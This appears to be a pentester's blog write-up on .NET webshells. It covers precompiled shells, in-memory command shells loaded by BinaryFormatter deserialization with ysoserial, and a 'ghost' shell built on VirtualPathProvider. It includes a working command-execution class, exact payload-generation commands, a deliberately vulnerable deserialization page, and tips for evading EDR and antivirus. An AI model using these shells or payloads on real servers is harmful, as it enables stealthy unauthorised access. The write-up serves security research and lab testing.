.NET Webshell
Webshell is basically the most common way to get RCE on the target. But that also means we would create new files on the server. Unfortunately, if server has any EDR or AV installed on it, the webshell we uploaded would be deleted or an alert would be noticed to administrator. That restriction leads to memory webshell concept. It is a kind of webshell that would be saved in memory, therefore it would works althought original file had been deleted. In java application, for example one deployed on Tomcat server, we can inject memory web shell in Listener, Filter, … layers, so is it any technique similar to that in .NET?
While doing pentest/finding 0-days with .NET target, there are some cases i faced about webshell. Before go to details, you can quickly setup a lab for testing
Setup
I u a VMWare to create a IIS Webserver run on Windows Server 2016 to deploy a website on it. You have to add the following roles and features
Download and install Webdeploy from here on the server, then go to services to make sure that Web Management Service is running
Now in your local machine, create a MVC web application in Visual Studio, then go to build -> Publish [You project name], then fill the form like the following
Then save and publish, your website would be deploy to /rcelab in case of above example
Precompiled application
Some of the application i faced applies precompiled deployment. To setup, in your Visual Studio solution, change publish setting like the following, check [Precompiled during publishing] option, and in Advanced Settings, uncheck the [allow precompiled site to be updatable], then publish again
Now all the .aspx file on the server would look like this
In this condition, even when we can upload a .aspx webshell to the web directory, it could not be executed as expected.
In this case we have to compile our web shell before upload to webserver. To do that, use aspnet_compiler tools, first create webshell in empty folder
Then open Developer Powershell for VS, execute the following command aspnet_compiler -p [physical path] -v / [out dir]
Then [out dir] has the following files
Then upload folder bin to webserver, we can finally execute our webshell
To sum up, you have to has to combine path traversal with arbitrary file upload, that makes it harder to get shell.
Deserialize
In case of deserialize, each time we want to execute different command, we have to re-generate payload using ysoserial, then url encode, send request, etc, … For better use, sometimes people manipulate deserialization to create web shell, but it leads to problem I already said in the overview above. But we really can get shell without creating files on the server with gadget ActivitySurrogateSelectorFromFile already included in ysoserial. This gadget will create an assembly with our custom C# code, then when deserialize, make the server load that assembly.
First create deserialize.aspx for demonstration, this basically decodes base64 in [string] parameter and deserialize the result.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Runtime.Serialization.Formatters.Binary" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
string base64 = Request["string"];
if (base64 != null)
{
byte[] vs = Convert.FromBase64String(base64);
MemoryStream stream = new MemoryStream(vs);
stream.Position = 0;
binaryFormatter.Deserialize(stream);
}
}
</script>
.NET framework version 4.8+ implements type protections for ActivitySurrogateSelector, so we have to disable it first, send payload generated from the following command via [string] parameter
1
ysoserial.exe -f binaryformatter -g ActivitySurrogateDisableTypeCheck -c 123
Create ExploitClass.cs, this class has constructor that get command from [c] parameter then execute it with cmd /c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// ExploitClass.cs
class E{
public E()
{
//System.Web.HttpContext.Current.Response.StatusCode = System.Convert.ToInt32(System.Web.HttpContext.Current.Request.Cookies["c"].Value);
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
string dir = context.Server.MapPath("~/") + "/";
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cm"+"d.exe";
string cmd = context.Request.Form["c"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.WorkingDirectory = dir;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}}
Then generate payload with ysoserial, it would create assembly for above class, with dependencies on the rest of [-c] option
1
ysoserial.exe -g ActivitySurrogateSelectorFromFile -f BinaryFormatter -c "ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll"
Put payload to [string] param. Now we can execute any command via [c] parameter
This method allows us to load webshell to the memory and helps our webshell avoid security solutions’ observation of file changes on the server. But it’s not as powerful as memory shell in Java, because we have to carry deserialization payload in each http request. So if deserialization is somehow patched, our shell is gone. We can bypass this restriction by abusing the Virtual Path Provider in .NET.
Ghost shell in .NET Virtual Path Provider
Using .NET, it is possible to define virtual paths in order to serve virtual files from storages sources other than the file system. That would help us to create webshell without create any files in target server to avoid detection. That idea is already implemented in Ysoserial here https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs. This technique requires 3 custom elements VirtualPathProvider, VirtualFile and VirtualDirectory. First We create custom VirtualFile to serve our shell.
with Exists function always return True, we can access arbitrary filename to get shell, the Open function would be used to return our shell content. For custom VirtualDirectory, we just have to care that whether our virtual path already exists or not
We would use custom VirtualPathProvider to register our virtual path handler. When ASP.NET gets a request to supply a file that is based on a virtual path, it looks in the registered chain of providers and feeds the virtual path to the first provider in the chain. The provider interprets the path to determine if it is a file that belongs in the providers underlying file system. If so, it serves the file back to ASP.NET, or otherwise calls the next provider to serve the file. For custom VirtualPathProvider, some methods have to be override to serve our shell content, one of them is GetFile
Another restriction here that since .NET 4.5, web applications can use friendly URLs to not use “.aspx” in the URL when pointing at the ASPX pages. This can stop our method of creating ghost web shells. The following solution was found to overwrite this setting for web applications which used this feature.
1
2
3
4
5
6
7
8
9
10
11
foreach(var route in System.Web.Routing.RouteTable.Routes)
{
if (route.GetType().FullName == "Microsoft.AspNet.FriendlyUrls.FriendlyUrlRoute") {
var FriendlySetting = route.GetType().GetProperty("Settings", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.Public);
var settings = new Microsoft.AspNet.FriendlyUrls.FriendlyUrlSettings();
settings.AutoRedirectMode = Microsoft.AspNet.FriendlyUrls.RedirectMode.Off;
FriendlySetting.SetValue(route, settings);
}
}
This code has already been included in the GhostWebShell.cs file which needs to be uncommented when required. You also have to install https://www.nuget.org/packages/Microsoft.AspNet.FriendlyUrls package that include Microsoft.AspNet.FriendlyUrls.dll. Now the command to generate deserialize payload is
1
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll;D:\code\deser\packages\Microsoft.AspNet.FriendlyUrls.Core.1.0.2\lib\net45\Microsoft.AspNet.FriendlyUrls.dll"
Remember to change your Microsoft.AspNet.FriendlyUrls.dll location. Then reproduce previous steps to exploit. Access webshell on /fakepath/[anyshellname].aspx
Another problem is that if we do want to run webshell through normally path rather than our virtual path, it would have us more difficult to be detected. It comes to VirtualPathProvider.GetCacheKey method. GetCacheKey method is used to provide a custom cache key for virtual resources. If you do not override the GetCacheKey method, the virtual path is used for the cache key. We can inject shell above return base.GetCacheKey(virtualPath);
so if our cmd parameter is not apparence in request, everything still works fine.
Normally web path
Inject our cmd parameter